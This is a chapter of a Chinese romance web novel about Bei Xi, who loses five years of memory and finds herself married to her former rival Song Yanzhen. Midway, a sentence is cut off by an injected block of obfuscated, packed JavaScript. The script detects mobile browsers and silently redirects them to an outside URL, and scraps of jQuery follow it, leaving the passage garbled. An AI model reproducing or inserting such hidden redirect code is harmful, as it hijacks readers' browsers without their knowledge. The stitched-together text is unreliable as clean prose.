“宋言祯你去死！”
贝茜快疯了，一把扑回自己的贴身小裤子藏在背后。
不知道是气得还是羞得，她耳根子煞红：“你会有这么好心帮我吗？不扔我东西就不错了吧。”
“我什么时候扔过你东西？”
宋言祯指尖微松，她裤带的系绳离开他的手，垂落下去。
事实上，在问出口的刹那他就想起来了。
从小尿不进一个壶里的两个人，多数时候都是贝茜在挑刺，宋言祯相对忍让。
于是前二十多年人生，她扔他东西不计其数，而他真正付诸行动的反击，只有18岁那一次。
如果时间跟着贝大小姐的失忆症倒退。
退回2021年高考动员大会那个下午。
他习以为常地接受着她的挑衅，接起师兄的电话，眼看着她炸毛。
她才不管他在听电话，
“既然你这么忙，还特地回来做什么宣讲啊？”
他天生敏慧，能从通话间隙里分神给她，但他不打算回答。
少女不依不饶：“没参加过高考的人居然要动员高考？你不觉得可笑吗？”
是，他不需要高考。
甚至他只在高中待了高一这一年而已。
别人挣扎苦渡，于他而言只是人生踏板。
电话里，同门师哥在和他确认出国的日期，
“7月出发，德国心胸外交换生资格难得，不过哥们几个都相信你的实力，等你学成归来。”
那时他获得了公费留学的资格，下个月就要离开沪市，本博连读，一去就是三四年。
“嗯。”他应声。
没想到贝茜突然爆发脾气：“你这个混蛋！”
直到她凶巴巴打落他的发言稿，他才对即将脱离这位骄横公主的事实有了实感。
恰巧师哥又问了个小问题，他快速应答后挂断电话：“我这儿有事要处理。”
处理她的脾气。
初成大人的宋言祯情绪很稳定，但还是会被她缠得失去冷静。她问他为什么会来，是，他为什么会在不可开交的忙碌中，还选择回来高中校园？
他也在问自己。为什么。
眼前，她还在任性，对日后长久的分别一无所知，对这次的见面毫不珍惜，
纷乱繁杂心绪充斥，他意识到该对她凶一点。
但只是一点，她就哭了。
两个人都不太记得那天是怎样收场的，只知道贝茜最后也没有道歉，更没有纡尊降贵为他捡东西。
宋言祯松开手，留下一句：“希望下次见面，你能成熟点。”就转身离开。
那天他们没再说一句话，台下人群里，只有贝茜用杀人的眼神瞪视台上的人。
当时她没想到，宋言祯居然真的可以脱稿即兴演讲。
更没想到今天，他说的“下次见面”已经在她记忆里消失了。
失忆患者的“下次”竟是一睁眼【已婚】，居然还是跟他？！
——关于这段回忆，宋言祯不做评价。
他最先回神，意识到问题的关键：贝茜的失忆到什么程度？她究竟失去了多少记忆？
“我是什么时候扔你东西的？”
宋言祯扶她在旁边的丝绒凳坐下，典型的用行为干扰思考，让对方卸下防备的举动。
贝茜的记忆到高三为止，理所当然把自己当高考生。
她想也没想就答：“前两天呗！你把我书扔路边了呢。”
见宋言祯挑眉，她才后知后觉，不甘心地改口：“高三……高考前，你回校宣讲那天。”
宋言祯单膝触地，蹲下身与她平视，再次确认：“所以，你目前只有高考以前的记忆？”
贝茜努力地往后回想，却始终空白，脑袋的记忆储存区像坏掉的硬盘，调取指令无响应。
她甩甩脑袋，“嗯”了声：“之后的事情一点都想不起来。”
包括她最想知道的，为什么会和宋言祯结婚？
“也就是说，”宋言祯维持着下蹲姿势，肘臂搭膝，淡微垂睫，有了完整定论，
“你失去了从大学到我们结婚一周年，这期间的五年记忆。”
原来已经结婚一年了……怪不得宋言祯能随意进出她家。
等下，重点不是这个！
贝茜忍不住挥舞起手来：“是又怎么样？不要以为我失忆了你就可以胡说八道骗我。”
她忘了自己手里还拿着内裤，严正警告：
“我要去看爸爸，要是被我发现他没事，是你咒我爸爸的话……”
那块丝滑的三角布料，被她挥甩起来，宋言祯身姿劲挺地蹲在她身前，不可避免地险些被舞到脸上。
男人反应迅速地偏头避让，倒是没说什么，反问：“你知道爸在哪么？”
“……不知道。”
她赶紧把内裤又塞回身后，浑身不习惯地嘀咕一句，“还有，谁允许你叫爸了。”
他望了眼窗外夜色没搭腔，口吻冷淡平常：“今天太晚，爸需要休息，明天带你去。”
这人？怎么越不让叫他越要叫呢？
贝茜抱怨他：“你是不是在故意跟我作对啊？”
他抿了下唇角起身，疏冷勾唇，以问代答杀死比赛：
“你手上的，不如先穿上？”
好，贝茜怒了，骂他不知廉耻，让他去死。
她连忙跑进浴室换好自己的睡衣。
宋言祯也向来懂得适可而止，他看着她洗漱好后，自觉地转身去了客房。
“有事直接叫我，房门没关。”他轻车熟路走到离她最近的客房。
贝茜想让他滚回对面他家的别墅，又想到目前她的身体状态不济，这男人留在这方便自己使唤，也挺好。
“喂，宋言祯。”她出声叫住他。
男人停在房间门口，身形挺拔而又松弛，回眸等她说话。
这几天照顾贝茜，宋言祯没时间整顿自己，随意的穿着却更显优越从容。
西服外套随意搭在臂弯，衬衫领口解了两颗扣子，露出一段靓利白皙的颈线。
贝茜难得动脑，自以为找出他的谎言破绽，双手环胸，机智问话：“你不是说我们是夫妻吗？怎么分房睡啊？”
宋言祯瞄着她，不知在想什么，半晌开口反问：“你现在的状态，能接受和我一起睡？”
“……当然不能！”贝茜差点跳起来。
“所以。”
他丢下两个字，迈步走入客房的黑暗之中。
不是，还显着他聪明细心了呗？
贝茜懊恼地发誓要少跟宋言祯说话，砰地关上门，埋进被子里睡去。
自从车祸后，太多巨变冲击，太多她无法接受的消息，仿佛一觉睡醒就被世界抛弃在身后，所有人大步向前走，全都没有等她。
对事事争先的贝茜而言，彷徨恐慌来得更快更汹涌。
所幸她的房间格局没变，床品花色都和记忆里一样，她裹紧被子缩在床头小夜灯的亮光庇佑中，才勉强感受到一丝安定。
不知道是不是孕激素在起作用，姗姗来迟的委屈和伤感侵袭着她。
眼角带着惶惑不定的泪意，贝茜将被子盖过脸，逼自己入睡。
**
因为惦记爸爸的状况，贝茜天不亮就起床闯进客房。
像宋言祯昨晚说的，他没关门，贝茜径直走进去，看到眼前的画面不由愣了。
宋言祯竟然没在床上，而是陷在桌前的办公椅里。桌面上钢笔与文件整齐摊放，屏幕的冷光映着他的颌线。
他双臂环在胸前，头微微后仰靠着椅背，工作用的黑色半框眼镜滑至鼻梁，很明显是通宵后的浅眠。
贝茜一直知道他聪明又努力，没想到他这么拼。
都说士别三日刮目相看，贝茜这一下子失去五年记忆，倒也新鲜，像把熟人重新认识一遍。
勉强再等半个小时吧，她下意识放轻手脚，准备离开。
却在转身时听到男人微哑泛凉的声线：
“起这么早，很担心？”
她顿步，如实点点头。
随后她听到一阵短促的窸窣，宋言祯摘下眼镜搁在桌上，拎起搭在椅背的外套：“我洗漱，一会儿出发。”
她张口欲言，看到他快步进入洗手间的背影，只好选择收声。
宋言祯的冲凉洗漱时间把控在二十分钟，带着贝茜往车库走时，身上还隐约残留着剃须水的薄荷凉气。
贝茜跟在他后头，上下打量：“能不能行啊你？宋言祯你要是熬夜了可别疲劳驾驶啊。”
宋言祯没说话，打开车门将MacBook和文件袋放在后座。
贝茜左右观察，惊奇地发现宋言祯开的车，还是当年那辆Aston Martin DB12。
生在宋家这种量级的豪奢门阀，他竟然可以物欲低到五年不换车。
不过看到眼熟的东西，贝茜还是很高兴的，她好心拍拍他后背：“要不我来开车，你给我指路就行。”
宋言祯直起身，单手搭在车门边框上看着她问：“你记得怎么开车？”
瞧不起谁呢？
贝茜的眉头一下子就拧紧了：
“我只是失忆，不是失能好吗？人专家都说了，生活技能和记忆是大脑的两个不同区域，基础功能不会丧失，亏你是个医学生，这都不懂。”
宋言祯抬手捏按山根：“需要提醒你是怎么失忆的吗？”
她理直气壮：“我知道，车祸嘛。但是那又怎样？反正我没有车祸的记忆。”
他微不可闻地笑了声：“记吃不记打的本性倒是没变。”
“彼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803677|190716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此彼此，都五年过去了，你这张看起来漂亮实际会喷毒的嘴巴也没变！”
他笑意更深，把她扶进车里：“走了，家里有司机。”
贝茜傲然：“怎么不早说？”
……
春风沿途，丛簇的枝丫还在静默，幼小到难以察觉的苞蕾半遮半掩，孕育着某种崭新的意象。
【松石|科学疗养中心】
这里是宋氏旗下高端疗养院，环境堪比顶奢酒店。
住在这里的病患非富即贵，套房内不仅有顶尖医疗科技配套，还有私人定制化的服务团队。
贝茜带着墨镜口罩，扒在走廊转角的墙边望风。
她视力不错，能从门上狭窄的玻璃开口看见里面人影晃动，妈妈似乎在照顾爸爸，爸爸虽然坐在病床上，但行动自如应该目前没有大碍。
宋言祯手里拎着她吃剩的早餐，垂眸凝视她探头探脑的动静，微微挑眉，轻咳了声提醒：“进去看？”
“嘘！”贝茜很严肃地让他噤声，
“现在我对爸爸的病情不了解，到时候进去了一问三不知，不就被发现我失忆了吗？”
“万一把我爸妈吓出个好歹来，你有几个医学天才够用啊？”她小手一指，拿高中校园里他遗留的天才名号挖苦他。
宋言祯不远不近得斜倚在墙壁，没搭腔。
他低眼将视线落在她身上，见她仍扒着墙角往里面偷觑，焦躁紧张的情绪明显。
站在父母门外，贝茜才懂近乡情怯。失去记忆的她要临时补课的事情太多，她头也不回地，忍不住问了一堆：
“爸爸已经病了三年了？是不是很严重？”
“最坏到什么程度？”
“他病倒后家里是我在撑还是妈妈在撑？”
结果她噼里啪啦问了半天，身旁男人一句话也没答，贝茜不满地转头瞪他：“问你话呢！”
宋言祯眉骨略动，这才开口，“时好时坏，最坏会死。”
“还好，你撑过来了。”
她意外地怔愣：“我吗？我有这么厉害？”
宋言祯依旧姿态松散闲倚着墙，下颌微含，看着她“嗯”了声：“是有点厉害。”
贝茜奇怪瞥他一眼，“看什么看？还不快跟我说说，失忆之前我们在爸妈面前是怎么样的？恩爱夫妻还是相敬如宾？”
贝茜没时间再拖了。
妈妈是半辈子都在搞艺术的烂漫沪都小姐，还算好骗。但只要她稍有不慎露出马脚，绝对瞒不过白手起家商场纵横的老爸。
可偏偏，这本该跟她统一战线的男人，看上去并不打算好好配合，好整以暇地来了句：“你不是一直觉得，我在骗你么？”
“现在说这些，几个意思呢你？”贝茜咬牙。
宋言祯抬手，指尖漫无目的点着额角：“骗子的话，你确定要信？”
故意的，这狗男人绝对是故意想跟她过不去。
说什么爱来爱去，她就知道不管过去多少年，她跟宋言祯从仇人变爱人这种事怎么听都是天方夜谭。
“你管我呢？别废话赶紧说！”贝茜强迫自己先咽下这口恶气，
“我爸受不了任何刺激，所以我们等下进去千万不可以露馅，知不知道？”
宋言祯望着她又心急又认真的模样，倏尔笑了，淡淡开口：
“想不露馅，就先把称呼叫对。”
“什么称呼？”贝茜总觉得他表情下掩着狡诈。
她仔细想了想：“我现在能想到对你的称呼只有冷脸怪、装逼犯、毒男……”
都是她高中骂他的话。
“……”宋言祯收回视线，舌尖顶腮，低嗤，“既然不是诚心想聊，那你独自去见岳父，应该没问题吧？”
贝茜就是再撞坏脑袋，此时也该听出他话里带有威胁的嘲弄。
她立马以子矛攻子盾：“不行，我们不是已经结婚了吗？现在可是一根绳上——”
“所以，你该叫我什么？”他森凉接话。
好家伙，这根矛扎她自己身上了。
贝茜眉梢微抽搐，磨蹭半天，才勉强憋出两个字：“言祯。”
宋言祯并没有动容：“不对。”
一不做二不休：“阿祯？祯祯？”
“都错。”宋言祯似乎有很多耐心等待。
可是再拖下去，等下要是妈妈突然从病房里出来，到时候惹起疑心就麻烦了。
贝茜在焦急中灵光一现：“该不会是……？”
她震惊地用口型对出那两个字。
老，公？
宋言祯眉梢轻挑，隐微弯起唇角。
他静立于光影交界处，半面矜骄，半面阴晦，昂贵西装勾描出优雅挺拔的轮廓。
男人在给予指令的低沉嗓音里，含混了三分蛊惑：
“嗯。乖，叫出声。”